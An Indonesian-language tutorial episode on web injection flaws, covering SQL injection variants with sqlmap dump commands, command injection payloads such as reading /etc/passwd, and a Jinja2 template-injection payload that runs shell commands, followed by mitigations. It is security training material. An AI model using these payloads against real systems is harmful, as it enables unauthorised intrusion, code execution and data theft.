Menyerang cara aplikasi memproses input: SQL injection in-band error-based blind boolean dan time-based serta union-based dengan sqlmap, command injection menuju RCE, dan server-side template injection, lengkap dengan mitigasi parameterized query dan sanitasi

Setelah di episode 10 kita menguasai metodologi — membaca request, memahami OWASP Top 10 2025, dan workflow Burp — sekarang kita masuk ke kelas kerentanan paling klasik: injection. Ini terjadi ketika aplikasi mencampur input user dengan kode yang dieksekusi (SQL, command shell, template) tanpa memisahkan keduanya.
Mengapa injection masih relevan? Karena akar masalahnya adalah trust: aplikasi mempercayai bahwa input user hanyalah data, padahal user bisa mengirim kode. SQLi berada di peringkat #3 OWASP Top 10 2025 dan Command Injection/SSTI tetap jadi jalan masuk favorit di engagement nyata. Pahami cara kerjanya, dan kalian memahami salah satu kelemahan paling mendasar dalam software.
Bayangkan query yang dibangun dengan penggabungan string:
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"Jika user mengirim username admin' --, query menjadi:
SELECT * FROM users WHERE username = 'admin' --' AND password = '...'-- mengomentari sisa query — autentikasi terlewati. Inilah esensi SQLi: input user mengubah struktur query.
Kerentanan yang langsung terlihat lewat respons aplikasi. Trigger error SQL untuk mengonfirmasi:
' -> error syntax
' OR 1=1 -- -> semua baris terpilih
' AND 1=1 -- -> masih normal (true)
' AND 1=2 -- -> kosong (false)Perbedaan respons antara 1=1 (benar) dan 1=2 (salah) adalah bukti injeksi — dasar dari blind SQLi.
Teknik menggabungkan hasil query sendiri dengan hasil query aplikasi untuk menarik data ekstra:
' UNION SELECT username, password FROM users --Union-based butuh jumlah kolom yang sama. Temukan jumlah kolom dengan ORDER BY:
' ORDER BY 1 -- -> OK
' ORDER BY 2 -- -> OK
' ORDER BY 3 -- -> error (artinya hanya 2 kolom)Ketika respons aplikasi tidak menampilkan data hasil query. Dua varian:
SLEEP() untuk inferensi berbasis waktu.' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --Enumerasi manual melelahkan — sqlmap mengotomasi deteksi, enumerasi database, dan dump data:
sqlmap -u "http://target.com/item?id=1" --batchsqlmap -u "http://target.com/item?id=1" --dbs
sqlmap -u "http://target.com/item?id=1" -D webapp --tables
sqlmap -u "http://target.com/item?id=1" -D webapp -T users --dumpTip
sqlmap harus dipakai setelah kalian mengonfirmasi injeksi secara manual. Kalian perlu paham apa yang sqlmap lakukan — batas parameter, teknik yang dipilih, dan risikonya. Mengandalkan sqlmap buta membuat kalian tidak bisa menjelaskan temuan di laporan, padahal itu yang diuji di wawancara kerja.
Ketika aplikasi meneruskan input ke shell. Aplikasi yang memanggil fungsi sistem seperti ping dengan input mentah:
127.0.0.1; whoami
127.0.0.1 && id
127.0.0.1 | cat /etc/passwd
$(whoami)
`whoami`Jika respons menampilkan hasil whoami atau id, aplikasi mengeksekusi command — ini jalan langsung ke RCE (Remote Code Execution):
curl -s "http://target.com/ping?host=127.0.0.1%3Bwhoami"Pemisah yang umum: ;, &&, |, ||, $(), dan backtick. Sering kali yang membatasi hanyalah filter yang bisa di-bypass (encoding, whitespace alternatif).
Template engine (Jinja2, Twig, FreeMarker) mengeksekusi sintaks yang ada di input. Saat input user dirender sebagai template, terjadi SSTI. Uji dasarnya:
{{7*7}} -> 49 (terekspresi, berarti SSTI)
${7*7} -> 49 (format FreeMarker)
#{7*7} -> varian RubySetelah terkonfirmasi, eksploitasi bisa mengarah ke RCE tergantung engine:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}SSTI berbahaya karena satu payload bisa berubah dari "info bocor" menjadi "menjalankan perintah server".
Prinsip yang sama berlaku untuk ketiganya: pisahkan data dari kode.
| Kerentanan | Mitigasi Utama |
|---|---|
| SQLi | Parameterized query / prepared statement; jangan concatenate |
| Command injection | Hindari system()/exec(); gunakan library yang aman; validasi input |
| SSTI | Jangan render input user sebagai template; gunakan sandbox engine |
Warning
Command injection dan SSTI adalah RCE — dampaknya total kompromi server. Saat menguji, gunakan payload yang tidak merusak (misalnya whoami/id sebagai bukti, bukan rm -rf). Di lab, pastikan memakai target DVWA atau Metasploitable yang memang dirancang untuk ini, dan pahami bahwa perintah yang kalian jalankan berjalan sebagai user service aplikasi.
Pada episode 11 ini, kalian telah menguasai tiga jenis injection paling penting.
Inti yang harus dibawa pulang:
;, &&, $().Di episode 12 selanjutnya kita membahas XSS, CSRF, dan CORS misconfiguration — reflected, stored, dan DOM-based XSS, cookie theft & session hijacking dengan BeEF, CSRF token bypass, dan misconfigured CORS (ACAO). Sampai jumpa di episode 12!